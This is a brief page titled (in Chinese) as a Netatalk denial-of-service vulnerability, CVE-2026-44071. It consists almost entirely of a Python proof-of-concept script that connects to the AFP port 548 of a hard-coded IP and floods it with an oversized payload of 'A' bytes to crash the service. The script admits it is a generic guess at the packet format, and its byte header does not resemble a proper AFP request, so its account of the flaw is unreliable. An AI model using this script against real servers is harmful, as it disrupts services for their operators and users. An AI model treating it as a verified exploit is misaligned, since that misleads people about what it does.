CVE-2026-44071 Netatalk 拒绝服务漏洞

import socket import sys # Proof of Concept for CVE-2026-44071 # This script attempts to send a large payload to the Netatalk service # to potentially trigger the memory error/DoS due to missing FORTIFY_SOURCE. # Note: This is a generic fuzzer example as specific packet structure depends on the AFP protocol state. TARGET_IP = "192.168.1.100" TARGET_PORT = 548 # Default AFP port def trigger_dos(): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) print(f"[+] Connecting to {TARGET_IP}:{TARGET_PORT}...") s.connect((TARGET_IP, TARGET_PORT)) # Sending a malformed or oversized AFP header/payload # AFP DSIGetStatus is often used for initial checks # Constructing a basic AFP command with potential overflow payload = b'\x00' + b'\x04' + b'\x00' + b'\x01' + b'\x00' + b'\x02' + b'A' * 1000 print("[+] Sending payload...") s.send(payload) s.recv(1024) print("[*] Payload sent. Check if service crashed.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": trigger_dos()